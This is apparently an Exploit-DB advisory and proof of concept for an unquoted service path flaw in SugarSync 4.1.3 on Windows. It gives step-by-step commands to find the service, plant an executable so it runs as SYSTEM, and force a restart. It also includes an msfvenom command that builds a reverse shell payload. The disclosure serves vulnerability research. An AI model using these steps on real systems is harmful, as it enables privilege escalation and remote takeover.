Exploit-DB #51106
Description: SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2023-03-28
Author: Jorge Manuel Lozano Gómez

Exploit:
# Exploit Title: SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
# Exploit Author: Jorge Manuel Lozano Gómez
# Date: 2022-10-20
# Vendor Homepage: https://www1.sugarsync.com
# Software Link: https://www1.sugarsync.com/apps/windows/
# Version : 4.1.3
# Tested on: Windows 11 64bit
# CVE : N/A


About Unquoted Service Path :
==============================

When a service is created whose executable path contains spaces and isn't enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges. 
(only if the vulnerable service is running with SYSTEM privilege level which most of the time it is).

Description:
==============================
SugarSync installs a service with an unquoted service path.
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.

# PoC
===========

1.  Open CMD and check for the vulnerability by typing 	[ wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """ ]
2.  The vulnerable service would show up.
3.  Check the service permissions by typing 	[ sc qc "SugarSync Service" ]
4.  The command would return.. 

        C:\>sc qc "SugarSync Service"
        [SC] QueryServiceConfig SUCCESS


        SERVICE_NAME: SugarSync Service
                TYPE               : 10  WIN32_OWN_PROCESS
                START_TYPE         : 2   AUTO_START
                ERROR_CONTROL      : 1   NORMAL
                BINARY_PATH_NAME   : C:\Program Files (x86)\SugarSync\SugarSyncSvc.exe
                LOAD_ORDER_GROUP   :
                TAG                : 0
                ISPLAY_NAME        : SugarSync Service
                DEPENDENCIES       :
                SERVICE_START_NAME : LocalSystem


5.  This concludes that the service is running as SYSTEM.
6.  Now create a payload with msfvenom or other tools and name it to SugarSyncSvc.exe.
7.  Make sure you have write permissions to "C:\Program Files (x86)\SugarSync" directory.
8.  Provided that you have right permissions, drop the SugarSyncSvc.exe executable you created into the "C:\Program Files (x86)\SugarSync" directory.
9.  Start a listener.
9.  Now restart the SugarSync service by giving coommand [ sc stop "SugarSync Service" ] followed by [ sc start "SugarSync Service" ]
9.1 If you cannot stop and start the service, since the service is of type "AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ] and get the shell when the service starts automatically.
10. Got shell.


During my testing :

Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o SugarSyncSvc.exe


# Disclaimer
=============
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.